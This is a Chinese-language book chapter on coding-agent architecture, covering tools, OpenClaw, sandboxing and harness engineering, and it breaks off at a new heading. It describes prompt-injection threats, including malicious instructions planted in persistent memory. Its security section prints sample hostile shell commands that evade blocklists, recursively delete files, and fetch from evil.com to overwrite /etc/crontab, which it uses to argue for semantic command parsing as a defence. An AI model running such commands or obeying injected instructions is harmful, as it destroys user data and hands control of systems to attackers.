# Coding Agent 与代码生成

前面的章节分别深入了上下文工程（第二、三章）和工具设计（第四章）。本章将这些构件组合在一起，回答一个核心问题：**一个能处理任意任务的通用 Agent，它的架构长什么样？**

答案是：**以开放任务为目标的通用 Agent**，其核心是一个 **Coding Agent**（能自主编写、修改和执行代码的 Agent）加上**文件系统**——Agent 用来存储代码、数据、记忆和中间结果的工作空间，类似于程序员在电脑上用文件夹管理项目的方式。这个判断来自工业界的实践验证——从 Manus 到 OpenClaw，成功的开放任务型通用 Agent 都遵循同一范式：用少量通用工具（代码执行、文件读写、搜索）构建一个 Coding Agent 运行时，在此之上叠加浏览器自动化、网络搜索等能力模块。这一判断的适用边界，将在“从 Manus 到 OpenClaw”一节末尾专门讨论。

为什么代码生成能担此重任？因为它不只是工具箱里的一个工具，而是一种**元能力**——能在运行时动态创造出新的工具和能力。本章后半部分（“代码：通用 Agent 的元能力”一节）会完整展开这一概念及其六个发挥方向。（如果对照全书概述会发现措辞略有出入：概述提到的“构建知识库”主要体现在前文“文件系统作为 Agent 中枢”的讨论，而“动态创造工具”则在第八章进一步深化，本章六方向侧重思考、业务规则、多媒体、适配器、UI 与自举。）

代码对 Agent 的价值体现在两个层面。**思考**上，形式化代码让思考高度严谨——“年龄大于 18 且已实名认证”用自然语言描述可能有多种理解，写成 `age > 18 and is_verified` 就毫无歧义。**表达**上，一段能跑通的代码本身就是逻辑自洽的证明，执行结果提供客观的对错标准——这是自然语言做不到的。

本章先从 Coding Agent 的基础能力和通用 Agent 架构（OpenClaw）讲起，然后展示代码生成在各类场景中的应用——从数学思考、内容创作到系统级的元能力。

## Coding Agent

### Coding 是 Agent 的基础能力

**代码生成不是少数专门化 Agent 的专利，而是每个通用 Agent 都该具备的基础能力**。在当前 SOTA 模型的加持下，具备基本 coding 能力并不需要复杂的架构。

考虑一个典型任务：“整理仓库中所有遗留的 TODO 注释，按优先级分类并生成 issue”。完成这件事需要——浏览目录结构（ls/glob）、读取代码（read）、修改文件（edit/write）、运行命令（bash）、查找模式（grep/search）。这五类操作覆盖了几乎所有 Coding Agent 的核心动作，也正是下面要展开的七个工具的来由。严格说，这五类操作自然对应六个工具；第七个 Code Interpreter 对应的是“执行代码/计算”这类操作，在有的实现里干脆与 Bash 合并——七个工具是规范化的参考集，不必与五类操作严格一一对应。

一个基础的 Coding Agent 只需配备以下七个核心工具：

1. **Code Interpreter（代码解释器）**：提供隔离的沙盒环境（sandbox，即与主系统隔离的安全运行空间，代码在其中运行即使出错也不会影响宿主机），安全执行 Python 代码
2. **Bash Shell（命令行终端）**：在终端中执行命令，如运行测试用例、处理特殊格式文件
3. **读文件工具**：读取代码、配置、文档、日志等
4. **写文件工具**：创建新文件或完全重写现有文件
5. **编辑文件工具**：对现有文件进行局部修改，是代码维护和迭代的核心操作
6. **搜索文件名工具（Glob）**：通过模式匹配快速定位文件系统中的目标文件，例如用 `**/*.py` 找出项目中所有 Python 文件
7. **搜索文件内容工具（Grep）**：在文件内容中搜索特定的文本模式，例如搜索所有调用了某个函数的代码行

这七个工具构成了一个完整但极简的工具箱，几乎任何 Agent 系统都可以低成本地集成。它们在实现上均可通过第四章介绍的 MCP 协议暴露为标准化工具服务。注意，这个工具集是 Coding Agent 特有的基础配置，不同于第四章按调用方向和作用性质划分的五类通用工具分类（感知/执行/协作/事件触发/用户沟通）——七个核心工具主要覆盖了感知和执行两类。读者可能会问：那协作、事件触发、用户沟通这三类需求呢？——在 Coding Agent 中通常由 Agent 框架（而非工具层）处理，例如子 Agent 委托由框架的编排逻辑管理，而非通过专用的协作工具。

用一个最简单的任务来看这七个工具是怎么配合的。假设用户说“帮我把项目里所有 TODO 注释整理成一个清单”：

```
Agent（思考）：需要找到所有包含 TODO 的代码行。
Agent → Grep("TODO", pattern="**/*.py")       # 搜索文件内容
工具返回：
  src/api.py:42: # TODO: add rate limiting
  src/db.py:15:  # TODO: migrate to PostgreSQL
  tests/test_api.py:8: # TODO: add edge case tests

Agent（思考）：找到了 3 个 TODO，整理成清单写入文件。
Agent → Write("TODO_LIST.md", content="...")   # 写文件
工具返回：文件已创建

Agent：已整理完毕，共发现 3 个 TODO 项，清单保存在 TODO_LIST.md。
```

整个过程只用了 Grep（搜索内容）和 Write（写文件）两个工具。如果任务更复杂——比如“统计每个模块的 TODO 数量并画个柱状图”——Agent 还会用 Code Interpreter 执行 Python 代码来做统计和绘图。七个工具虽然简单，组合起来就能完成非常多样化的任务。

为什么每个通用 Agent 都应该具备 coding 能力？因为代码生成不只是写程序——它是一种通用的问题解决手段。遇到数学推理，可以写段代码交给求解器算出精确答案；需要固化业务规则，代码比自然语言描述精确得多；缺少某个工具，可以临时写一个；数据格式变了，动态生成解析逻辑。本章后续会逐一展开这些场景。一个具备基本 coding 能力的 Agent，即使工具箱中只有上述七个简单工具，也能在遇到新需求时动态扩展自己的能力边界。

### 案例：从 Manus 到 OpenClaw——通用 Agent 的 Coding 内核

以 Manus 为代表的通用 Agent 产品，将 Deep Research（深度调研）、Computer Use（电脑操控）和 Coding（代码生成）三大能力融合在一个系统中，凸显了一个已经被多类实践反复验证的洞察：**Coding Agent 加上文件系统，是开放任务型通用 Agent 最核心的技术基础**。开源项目 OpenClaw 也采用了类似思路，以开源实践展示了这一架构范式。

为什么 Coding Agent 是核心而非其他两种？因为几乎所有高效的内容生成最终都要落到代码上。PPT 本质上是 OOXML（Office Open XML，微软推出的办公文档开放标准）格式的代码，Word 文档和 PDF 报告可通过代码生成，数据分析和可视化由 Python 脚本完成，甚至 GUI 操作中成功的浏览器操作序列也可以被固化为可复用的 RPA（机器人流程自动化，Robotic Process Automation）代码（Computer Use 本身见第九章，操作序列的固化机制详见第八章）。Deep Research 的搜索和信息综合可通过代码驱动的 Web 请求和解析实现，Computer Use 虽然通用性更强，但成本、延迟和稳定性远不如直接通过代码或 API 来完成相同操作。代码生成是效率最高、成本最低、可复用性最强的能力基座。


![图5-1 OpenClaw 架构中的 Coding Agent 核心](images/fig5-1.svg)


用一个具体的执行流来理解这个架构。假设用户要求 “Help me analyze last quarter's sales data and create a summary report”：

1. **读记忆**：Agent 读取 `MEMORY.md`，发现用户偏好 PDF 格式的报告，数据源是 Google Sheets
2. **调工具**：通过网络搜索模块获取 Google Sheets API 的使用方法，通过代码执行下载数据
3. **写代码**：用 Python 生成数据分析脚本（pandas 聚合、matplotlib 可视化）
4. **生成产物**：将分析结果写入 `report.pdf`，图表写入 `charts/` 目录
5. **更新记忆**：在 `MEMORY.md` 中记录 “User's sales data is in Google Sheets, ID: xxx”，下次无需再问

整个过程中，文件系统是信息流转的枢纽——记忆从文件读取，产物写入文件，经验也保存为文件。

**文件系统作为 Agent 的中枢**。在 OpenClaw 的设计中，文件系统远不止是数据存储——它是 Agent 记忆、知识和能力的中枢。Agent 的长期记忆存储在 `MEMORY.md`（高层级事实和用户偏好）和按日期归档的 Markdown 日志中。选择 Markdown 而非向量数据库，这个决定看似反直觉，实际上极其有效：用户可以直接打开文件阅读和修改 Agent 的记忆（如果 Agent 记错了某件事，直接删除那一行即可），Markdown 天然保留时间顺序避免语义检索中的时间混淆，而且可通过 Git 进行版本控制和回滚。

更关键的是，Agent 拥有写文件的能力，这意味着它可以通过写文件来**自我进化**。当 Agent 首次执行某个任务并发现了之前不知道的关键信息（例如给某银行打电话时，发现对方要求提供开户行地址才能验证身份），它会将这条经验写入知识库，下次执行相同任务时自动加载。这种“越用越聪明”的机制，本质上就是第八章将深入讨论的外部化学习范式的具体实践。

**适用边界：哪些 Agent 以 Coding 为核心架构**。需要说明的是，“Coding Agent 是通用 Agent 的核心”这一判断主要适用于**以开放任务为目标**的通用 Agent——深度调研、内容生成、数据处理这类任务边界不确定、产物形态多样的场景。在这些场景中，无法预先枚举所有需要的工具，代码生成作为元能力提供了动态扩展能力边界的最经济路径，因此它是架构的核心。而另一类 Agent——垂直领域的客服 Agent、语音助手——任务空间相对封闭，核心架构围绕固定的业务流程、领域工具和对话策略构建，代码在其中更多是工具箱里的一件工具而非架构中枢（本章后文的 τ-bench（一个模拟客服场景的基准测试，详见后文）例子中，代码扮演的正是政策校验工具的角色）。但即便在后者，coding 也是不可或缺的基础能力：精确计算、数据处理、规则校验都离不开它——这正与前一节“Coding 是 Agent 的基础能力”的论断呼应：是否以 Coding 为核心架构因场景而异，但具备 coding 能力是所有 Agent 的共同底线。

### Sessionless 设计

接下来讨论“随时可用”的交互方式和安全架构这两个设计，乍看与 Coding Agent 主题无关。然而它们直接决定了 Agent 如何管理代码执行环境和文件系统状态，而这正是 Coding Agent 的核心关切。（想先了解 Coding Agent 如何一步步工作的读者，可以先跳读后面的“Coding Agent 的整体流程”一节，再回到这里看交互与安全设计。）

OpenClaw 采用 **Sessionless**（无会话）设计：没有安装、登录、“打开 App”这些步骤，Agent 常驻在线，用户通过自己已经在用的消息平台随时发一条消息就能得到响应——这一交互形态及其背后的 Gateway 消息路由与事件驱动架构，已在第四章的用户沟通工具部分详细讨论，此处不再展开。值得强调的是这种形态成立的前提：大模型已经成熟到足以充当一种新的“智能基座”——类似传统操作系统屏蔽硬件、为上层应用提供统一抽象，大模型屏蔽了语言理解与思考规划的复杂性，为上层 Agent 提供统一的智能抽象。正是有了这层基座，“常驻 + 随时响应”的形态才得以低成本地工程化。

对 Coding Agent 而言，Sessionless 真正的工程难点在于**代码执行环境和文件系统状态如何跨消息存活**。用户的两条消息可能间隔几分钟，也可能间隔几天，而 Agent 的工作依赖大量隐式状态：沙盒里安装的依赖包、终端会话中的工作目录和环境变量、后台运行的开发服务器、写到一半的文件。OpenClaw 的做法是把状态分为两层管理。**文件系统状态天然持久**——工作区（workspace）目录挂载在沙盒之外的持久存储上，代码、数据、中间产物跨消息、跨沙盒重启都不会丢失，这也是“文件系统作为 Agent 中枢”的另一层含义。**进程状态则按需保活或重建**——沙盒及其中的终端会话在活跃期间保持运行，避免每条消息都冷启动、重新切换目录、重新激活虚拟环境；闲置超时后销毁以回收资源，销毁前把可序列化的环境状态（工作目录、环境变量、后台任务清单）记录到工作区文件中，下次唤醒时由 Agent 按记录重建。本章后文“命令执行环境的状态持久化”讨论的持久终端会话，正是这套机制在单次任务内的对应物；Sessionless 把同一个问题拉长到跨消息、跨天的时间尺度上。

Sessionless 也不是免维护——它意味着每次用户消息都需要**重新加载完整的轨迹和工作状态**，因此对状态序列化效率、轨迹压缩策略有更高要求；轨迹压缩本身的设计原则已在第二章“上下文压缩策略”中讨论，本章侧重 Sessionless 架构下的工程取舍。

### 致命三要素、持久记忆与权限策略

这种“主权智能体”范式也带来了严峻的安全挑战。Coding Agent 拥有读写文件、执行命令、访问网络的权限，这意味着一旦被注入恶意指令就可能造成不可逆的损失。开发者、独立研究者 Simon Willison 将这种风险概括为著名的“致命三要素”——三个要素齐备，就构成了一条完整的攻击闭环，系统即属高危：

1. **访问私有数据**——Agent 能读取用户文件和密码管理器
2. **暴露于不受信任内容**——处理的邮件和网页可能包含恶意载荷
3. **具备外部通信能力**——能发送邮件和执行命令

攻击路径由此闭合：恶意指令藏在不受信任的内容中进入 Agent，驱使它读取私有数据，再经对外通道传出。注意，三要素齐备本身就已足够危险，不需要任何额外条件。在此基础上，笔者补充第四个维度——**持久记忆**。它不是并列的第四个必要条件，而是攻击的放大器：攻击者可将看似无害的偏见或恶意指令写入 Agent 的长期记忆，跨会话潜伏，在合适的时机再触发，把一次性攻击升级为长期的潜伏与放大。需要统一口径的是：本书沿用 Simon Willison 提出的经典命名，始终称之为“致命三要素”，而把“持久记忆”作为在三要素之上放大风险的因素**单独强调**，并不把它算作并列的第四个必要条件——第四章引用此概念时与本章口径一致。

这四点可以概括为四类边界：数据边界、输入信任边界、输出影响边界、跨会话边界。OpenClaw 这样的全权限本地 Agent 恰恰四者兼备，安全防护因此成为此类 Agent 必须正视的核心挑战。

这也解释了为什么闭源的商业 Agent（如 Claude Cowork（Anthropic 面向知识工作的通用 Agent，复用 Claude Code 的 agentic 架构，能读写本地文件、跨多个办公应用完成多步任务））选择了保守的权限策略——不是技术做不到，而是安全风险太高。面对提示注入威胁，单靠输入过滤基本挡不住。重点不是识别所有攻击，而是让 Agent 即使被注入，也没有机会把危险动作真正执行出去。防御体系在前两章已经分层建立：**上下文层防御**——外部内容来源标注、结构化角色隔离、输入清洗——见第二章提示注入一节；**执行层防御**——Sidecar 独立审查、Human in the loop（人在回路）、最小权限与权限分离——见第四章。同一上下文中的 Agent 很难判断自己是否已被注入，因此关键操作必须由上下文之外的机制复核，这一原则贯穿两章。本章只补充 Coding Agent 特有的三点增量：

- **命令语义解析**——Shell 命令的组合爆炸使关键字黑名单形同虚设，必须在语义层理解命令的真实效果（本章后文“Harness 工程”一节将展开）；
- **沙盒隔离与网络出口控制**——代码执行是 Coding Agent 独有的攻击面，隔离级别与出口策略的工程选型见下一节；
- **持久记忆的跨会话防线**——这是本章在致命三要素之外特别强调的扩展项：写入长期记忆的内容需经过与外部内容同等的信任审查，避免恶意指令潜伏在 `MEMORY.md` 中长期生效。

这三点增量分别落在验证、执行和数据三个层面，与前两章的防御体系互为补充。这些策略不能完全消除风险，但能缩小 Agent 的攻击面。如何在赋予 Agent 充分的 Coding 能力和系统权限的同时，实现细粒度的权限控制和可审计的安全机制，仍是 Agent 工程领域持续演进的课题。

**本章安全内容地图**。Coding Agent 的安全讨论在本章分散于几处，这里先给出一张索引，便于读者串联：本节（致命三要素与持久记忆）勾勒*威胁模型*——哪些风险最致命；下一节“代码执行沙盒的工程选型”落在*隔离兜底*——网络出口、文件系统、资源与持久会话的工程选型；“Harness 工程”一节则从*执行期防御*展开——命令的语义解析（而非关键字黑名单）、推测性执行让安全检查“隐形”，以及两个更偏通用 Agent 安全、可选读的延伸话题：“Agent 为谁效忠”（多方委托下的忠诚度）与“当 AI 写的代码本身不可信”（把信任边界下移到数据层）。这些讨论各有侧重、互为补充，不必按顺序一次读完。

### 代码执行沙盒的工程选型

本章反复以“沙盒”为前提——七个核心工具中的 Code Interpreter 要求隔离环境，安全策略依赖隔离兜底。但沙盒不是一个开关，而是一系列工程决策。第四章已经回答了“为什么要隔离”、隔离机制的分级原理（进程级隔离、容器、microVM 三档谱系），以及“个人本机用进程级、单租户云端用容器、多租户或陌生代码用 microVM/gVisor”的选型法则；本节不再重复这一谱系，只补 Coding Agent 落地时绕不开、而第四章未展开的四项增量：网络出口怎么管、文件系统挂多少、资源怎么限、持久会话与隔离如何调和。

**网络出口控制**。这是最容易被忽视、却最关键的一项：默认断网，按需通过白名单代理放行有限目的地（包管理源、文档站点、任务明确需要的 API）。回看致命三要素的第 3 条——“具备外部通信能力”——网络出口控制正是它的执行面防御：即使提示注入成功、恶意代码在沙盒内读到了敏感数据，没有出口就传不出去。相比试图识别每一次注入，掐断数据外传通道是确定性得多的防线。

**文件系统隔离范围**。源码目录以只读方式挂载（Agent 通过编辑工具修改代码，生成的补丁经审查后落盘，或将副本挂入可写工作区），单独的可写工作区目录承载生成物和中间文件；凭证类文件（`~/.ssh`、密钥、token）根本不挂载进沙盒——不可见的数据无法泄露，这对应致命三要素的第 1 条。

**资源限额与超时**。CPU、内存、磁盘配额加挂钟超时，防御死循环、fork 炸弹（疯狂自我复制进程直到拖垮系统）和无限写盘。一个实践细节：超时和超限应向 Agent 返回结构化错误（“执行超过 120 秒被终止，最后输出如下……”）而非静默杀死进程，让 Agent 有机会在下一轮修正策略。

**持久会话与隔离的调和**。本章后文“命令执行环境的状态持久化”主张维护长期存活的终端会话，而隔离原则主张环境用完即弃——两者存在张力。调和的思路是：**会话保活在沙盒内部**，终端会话的生命周期严格不超过沙盒的生命周期，会话状态从不逃逸到宿主机；对需要跨长时间间隔恢复的场景（如前文 Sessionless 架构），依靠沙盒快照或“工作区文件持久化 + 环境按脚本重建”来恢复状态，而不是无限延长沙盒的存活时间。换句话说，持久化的是**可审计的状态描述**（文件、脚本、清单），而不是不透明的运行中进程。

### Coding Agent 的整体流程


![图5-2 Coding Agent 工作流程](images/fig5-2.svg)


下面描述的是一套**推荐的工程化流程**，它把软件工程的最佳实践投射到 Agent 身上，勾勒的是理想形态。需要提醒的是：现实中的 Coding Agent（如 Claude Code、OpenClaw）更多按反应式的迭代循环工作，会**按需裁剪**这套流程——简单任务会跳过设计文档、不会每一步都阻塞等待用户批准，只有当任务复杂、影响面大时才会完整走完各阶段。因此下文行文中的“应当先……再……”更多是理想路径的祈使表述，请把它当作可裁剪的参照，而非必须逐步执行的固定剧本。

**项目文档化。**

Coding Agent 的工作始于对项目的系统性理解。当 Agent 首次接触一个代码仓库时，首要任务不是马上动手改代码，而是先建立对整个项目的认知框架——就像新入职的工程师，第一天不会直接提交代码，而是先熟悉项目结构。Agent 会首先检查项目是否存在文档——README、架构设计文档、开发者指南。

如果关键文档缺失，Agent 不应在盲目状态下开始工作，而应主动承担文档化的责任——通过系统性地阅读代码库，识别主要模块、核心抽象、组件间依赖关系，生成包含架构概览、目录结构、测试运行指南的初始文档。这份文档既为 Agent 后续工作提供蓝图，也为其他开发者提供了入口点。这体现了一个关键原则：知识的显式化是高效协作的前提。

项目文档化如今有了一种 Agent 专用的形态：**项目指令文件**。CLAUDE.md、AGENTS.md、.cursorrules 等文件已成为业界事实标准——它们在每次会话开始时被自动注入上下文，相当于项目级的系统提示词。与面向人类读者的 README 不同，指令文件承载的是面向 Agent 的行为约定：构建与测试命令（“用 `pnpm test` 而不是 `npm test`”）、代码风格（“禁用 any 类型”）、明确的禁区（“不要改动 `migrations/` 目录”）。这与 OpenClaw 的 `SOUL.md`（定义 Agent 的身份与行为规则）、`MEMORY.md`（沉淀跨会话经验）是同一思路在不同层面的应用：SOUL.md 约定“Agent 是谁”，项目指令文件约定“在这个项目里该怎么干活”。从第二章上下文工程的角度看，指令文件还是最经济的稳定前缀——内容不随任务变化，天然对 KV Cache 友好；它也是“知识必须存在于代码库本身”原则最直接的落地。

知识显式化原则还有一个有趣的推论：**对远程工作友好的团队往往也对 AI Agent 友好**。远程团队被迫依赖异步沟通与文档化——决策记录在文档里，上下文写在 issue 和 PR 描述里，部落知识沉淀在开发者指南里，而不是靠工位旁的口头传递和会议室白板。这恰好就是 Agent 能消费的知识形态：Agent 读不到口头约定，但读得到设计文档。反过来，一个高度依赖“问一下坐旁边的同事”的团队，无论对新入职的远程员工还是对 Agent，上手成本都同样高。评估一个团队的“AI-ready”程度，一个简单的代理指标是：一个远程新人只靠代码仓库和文档，能不能独立开展工作。

**任务理解与需求澄清。**

对于边界清晰、影响范围有限的简单需求——例如修正一个已知的 bug、调整某个函数的参数——Agent 可直接进入实现阶段。然而，软件开发中的大多数任务并非如此简单。

对于复杂需求，Agent 必须更加谨慎和有条理。复杂性可能源于多个维度：需求本身的模糊性（用户知道想要什么但无法精确表达）、实现路径的多样性（多种技术方案可选，各有权衡）、或影响范围的广泛性（需修改多个模块，可能破坏现有功能）。Agent 应通过探索性调研来澄清边界，必要时主动与用户对话。例如，当用户要求“优化系统性能”时，Agent 需要先搞清楚：优化的具体目标是什么（降低响应时间、减少内存占用还是提高吞吐量）、可接受的权衡是什么（是否允许增加代码复杂度）、以及当前瓶颈在哪里。在需求模糊的状态下就开始编码，往往导致大量返工。

**编写设计文档。**

设计文档是将抽象需求转化为具体实现计划的桥梁，应回答核心问题：修改哪些模块及原因，采用什么方案及其相对优势，需引入哪些新依赖，预期对系统的影响。编写设计文档本身就是深度思考——它迫使 Agent 在投入大量编码前先在概念层面验证方案可行性。更重要的是，设计文档为人类提供了高效的介入点——审查简洁的设计文档比审查数百行代码容易得多。Agent 完成设计文档后应提交给用户审查，等待批准后再继续。

**代码实现与测试。**

获得设计批准后，Agent 遵循项目代码规范进行实现，复用现有抽象和工具，必要时进行适度重构以保持代码库健康。

实现完成后立即进入测试驱动的质量保障环节——为新增或修改的功能编写测试用例，覆盖正常路径、边界条件和异常情况。编写完测试后执行测试套件。如果测试失败，Agent 不应简单地向用户报告失败，而应分析原因、定位问题、修改代码直到所有测试通过。这个 “测试-修复” 循环可能需要多次迭代，正是这种自我纠错能力将 Coding Agent 从代码生成器提升为可靠的工程助手。

即使所有测试通过，Agent 的工作也还没结束。接下来是代码审查阶段：Agent 对自己生成的代码进行批判性审视——可读性如何，是否有足够注释；是否存在潜在的性能问题或安全漏洞；是否遵循项目的代码风格和最佳实践。这个自我审查可通过阅读代码、运行 lint 工具或调用专门的代码审查子 Agent（Sub-Agent）来实现。如果审查发现问题，应回到修改阶段完善，而不是将有缺陷的代码交付给用户。

**文档同步与交付。**

如果代码修改涉及架构层面的变化——例如引入新模块、改变模块间依赖关系、修改核心抽象语义——Agent 需相应更新架构文档。过时的文档比没有文档更糟糕，因为它会误导未来的开发者。通过在每次重要修改后自动更新文档，Agent 帮助维护了项目知识库的完整性和时效性。

这套流程体现了软件工程的核心原则：计划先于行动，验证贯穿始终，文档与代码共同演化。

### Harness 工程在 Coding Agent 中的实践

第一章引入了 Harness 工程的概念和 **Agent = Model + Harness** 的公式。这里的 Harness 包含了核心公式中的上下文和工具，以及约束、验证和纠正机制——五者共同构成了第一章定义的 Harness。Coding Agent 大概是 Harness 工程收益最大的领域——代码编写是所有 Agent 任务中**可验证性最高**的一类，约束、验证和纠正都有现成的基础设施可以依托。本节聚焦于 Coding Agent 场景下的具体实践。

能不能稳定运行，往往不取决于用了多强的模型，而取决于围绕 Agent 搭建的基础设施有多扎实。第一章将 Harness 分为两个层面——**上下文与工具**（让 Agent 能做事）和**约束、验证与纠正**（让 Agent 不做错事）。在 Coding Agent 这个场景下，它们落地为具体的工程组件：

- **验收基线**：什么算做完了——测试套件、CI 管道（持续集成流水线，代码提交后自动运行的一系列检查）、代码审查标准
- **执行边界**：Agent 能碰什么不能碰什么——模块边界、依赖规则、权限控制
- **反馈信号**：自动化的对错判断——Linter（代码规范检查工具，能自动发现格式错误和潜在问题）输出、测试结果、类型检查错误
- **回退手段**：出了问题怎么恢复——Git 版本控制、沙盒隔离、快照回滚

**Coding Agent 为什么特别适合 Harness 工程。**

可以用任务清晰度和验证自动化程度两个维度，将任务分成四种状态。目标明确且结果可自动验证，是最适合 Agent 发挥的区域；目标清楚但验收还得靠人盯，吞吐量的天花板就是人的审查速度；有自动化反馈但目标模糊，系统会高效地往错误方向跑；两者都缺，Agent 基本派不上用场。表5-1 展示了这四种状态，Harness 的目标就是把尽可能多的任务推向“目标明确 + 验证自动化”这个象限。

表5-1 任务清晰度与验证自动化程度的四象限

| | 结果可自动验证 | 结果需人工验证 |
|---|---|---|
| **目标明确** | 最佳区域：修复有测试用例的 bug | 吞吐量受限：代码重构需人工审查 |
| **目标模糊** | 高效地跑偏：用 linter 优化“代码质量” | 难以启动：“让 UI 更好看” |

代码编写天然处于这个象限的核心——测试套件提供明确的验收标准，Linter 和类型检查器提供即时的自动化验证，Git 提供完美的版本控制和回退能力。这就解释了为什么 Coding Agent 是当前所有 Agent 类型中成熟度最高的：不是因为代码生成模型特别强，而是因为软件工程几十年积累的基础设施天然构成了一套强大的 Harness。

**业界实践。**

三个案例的 Harness 实践印证了上述原则：

- **大规模代码迁移案例**（来自一家大型科技公司公开分享的大规模代码迁移实践）：关键不在模型强，而在 Harness 做对了三件事——知识必须存在于代码库本身（Agent 看不到的等于不存在）、约束编码进 Linter 和 CI 而非写在文档里、验证和纠正全链路自动化。
- **LangChain**：仅通过优化 Harness（系统提示词、工具中间件、自验证循环）就显著提升了基准任务表现。尤其值得一提的是“用 Agent 分析失败轨迹来改进 Harness”的方法论，使 Harness 工程从人工经验驱动转向数据驱动。
- **Anthropic**：将长任务拆分为两个角色——初始化 Agent 负责把大任务分解为任务清单，执行 Agent 负责逐步推进并把中间成果（如已完成的代码文件、更新后的任务清单等）留给下一轮继续使用。这种分工解决了长时运行 Agent“一次想做太多”或“过早声称完成”的问题。

**从 Coding Agent 到通用 Harness 设计原则。**

Coding Agent 的 Harness 实践为所有 Agent 系统提供了可迁移的设计原则：

1. **约束优先于指导**：能用代码强制的规则就不要用文档建议。Linter 规则、类型约束、CI 检查的价值远超系统提示词中“请遵循...”式的指导——前者是“做不了”，后者只是“建议别做”。
2. **验证要自动化**：人工审查是不可扩展的瓶颈。测试套件、代码质量检查、行为监控——这些基础设施的投入回报远高于增加人力。
3. **反馈越快越好，越结构化越好**：错误信息越详细、越接近错误发生的时刻，Agent 的纠正效率越高。第二章的 Agent 状态栏技术（详细错误信息、工具调用计数器）正是这一原则的体现。
4. **回退要可靠**：Agent 在安全网内操作才能大胆试错。Git 分支、沙盒环境、快照机制确保任何错误都可逆。

**可靠性工程。**

上述原则在 Claude Code 等生产级 Agent 中被推到了极致。第一章从上下文与工具、约束、验证、纠正等维度概述了 Harness 的核心功能；本节聚焦于 Coding Agent 场景，展示这些功能在实际工程中的落地复杂性。生产级 Agent 主要面临三类边界问题：**输出中断**（模型生成到一半出错）、**连接卡死**（长时间无响应）、**内部状态循环**（Agent 陷入重复操作）。下面逐一说明应对策略。

**错误恢复：多级恢复策略的工程实现**。第一章提出的纠正原则——在确认无法恢复之前，不暴露中间态——在 Coding Agent 中需要一套具体的恢复梯度。以模型输出达到长度限制（生成到一半被截断）为例：第一级，静默提升容量上限重试；第二级，在消息末尾追加元指令让模型从断点接续生成；第三级，所有自动恢复手段用尽后才将错误暴露给用户。类似地，当对话结构出现异常（如工具调用缺少配对的结果消息），系统会自动修复消息配对关系而非报错。值得注意的是，部分生产级 Agent 同时运行产品模式和训练数据收集模式，两者对数据质量的要求不同：产品模式下可以用占位符修补缺失的消息，但训练数据收集的严格模式下则拒绝修复——因为向训练数据注入合成占位符会污染模型。这种“产品模式宽容、训练模式严格”的双重标准，体现了 Harness 与模型训练的深度耦合。

**流式连接的韧性**。流式 API 最危险的失败模式不是连接断开（这会立即报错），而是静默卡死——连接建立成功但数据流停止，像水管通着但不出水。SDK 的超时机制只覆盖初始连接而非流式传输过程。生产 Agent 需要一个独立的空闲看门狗定时器（watchdog timer，一种检测系统是否卡死的机制——如果超过设定时间没有新的输出，就判定为卡死并触发恢复），持续监控最后一次收到数据的时间，超时后主动杀死挂起的流并触发重试或回退。这是一个可推广的原则：**每个长连接都需要活性信号，而非仅仅依赖连接超时**。

**钩子的死循环防护**。当 Agent 的轨迹已经处于无效状态（如上下文溢出错误），不应再触发停止钩子（即在 Agent 结束时自动执行的清理逻辑）——否则钩子本身可能失败并触发新的钩子，像多米诺骨牌一样形成无限循环。例如：Agent 因上下文溢出而停止 → 触发“结束时自动提交代码”的钩子 → 钩子调用 LLM 生成 commit message → 再次上下文溢出 → 再次触发钩子 → 无限循环。生产级系统通过递归深度计数器来检测并打断这种循环。

**安全与性能。**

这与前文（致命三要素）讨论的威胁模型对应——那里分析了“哪些风险最致命”，这里讨论“如何在实现层面防御”。

**安全：语义解析而非关键字黑名单**。第一章提到验证层应采用“基于理解而非匹配”的安全机制，Shell 命令安全校验是这一原则最具挑战性的应用场景。简单的关键字黑名单无法应对 Shell 的组合爆炸——命令可以通过管道、子 shell、变量展开等方式绕过任何静态规则（例如 `rm` 被禁了，攻击者可以用 `$(echo rm) -rf /` 绕过）。生产级 Harness 采用语义解析：理解每个命令的参数类型和消费规则（哪些标志位会消费下一个参数），识别出“某个看似无害的标志位实际上会消费下一个参数从而隐藏危险载荷”这类攻击模式。例如，`find / -name '*.log' -exec rm {} \;` 通过合法的 `find` 命令参数嵌入了 `rm` 删除操作；又如 `curl -o /etc/crontab http://evil.com/payload`，看似下载文件实则覆盖系统定时任务。语义解析能识别出这些嵌套的危险操作，而简单的命令黑名单无法捕获。这种基于理解而非匹配的安全机制，是“约束”功能的高阶实现。

**推测性执行：让安全检查“隐形”**。这正是第四章 Sidecar 门控机制在用户体验层的效果——第四章解释了为什么关键操作要交给独立于主上下文的 Sidecar 复核，本节关心的是如何让这层复核不被用户感知为等待。做法是把“展示”和“放行”两件事拆开并行：当 Agent 准备执行一个工具调用时，系统一边在界面上先行显示进度提示（比如“正在读取文件 `src/main.py`...”），一边同时在后台跑安全检查。这里要澄清一个常被套用的类比：它并不同于 CPU 的推测执行——CPU 猜错了要丢弃已算的结果、回滚状态，而这里先行的只是一个**无副作用的 UI 提示**，它不改变任何真实状态，检查若未通过也无需回滚，只是把提示替换为“等待确认”。大多数情况下，安全检查在用户注意到之前就已经完成，用户完全感受不到额外延迟；只有在无法快速判定时，才会真正暂停下来等待确认。这是 Harness 设计的最高境界：安全性不以牺牲用户体验为代价。

**工具编排：故障边界控制**。成熟的 Coding Agent 支持并行工具调用，Harness 视角下的独特问题是**故障如何传播**：一个工具失败时，哪些调用应当中止、哪些应当继续？原则是故障只在同一批并行调用内传播，不上升到父级操作——比如同时读取三个文件，其中一个找不到，应该只报告这一个失败，而不是把另外两个也取消掉，更不是让整个任务中止。这种精细的故障边界控制避免了“一个命令失败导致整个任务中止”的脆弱模式。并行调用、流式解析与级联中止的具体机制见下一节“实现技巧”。

这些模式的共同特征是：**它们解决的不是“模型能力不足”的问题，而是“系统在边界条件下的鲁棒性”问题**。模型可能会越来越强，但网络会断、进程会挂、用户会做出意料之外的操作——Harness 的价值正在于此。

**Agent 为谁效忠：多方委托下的忠诚度。**

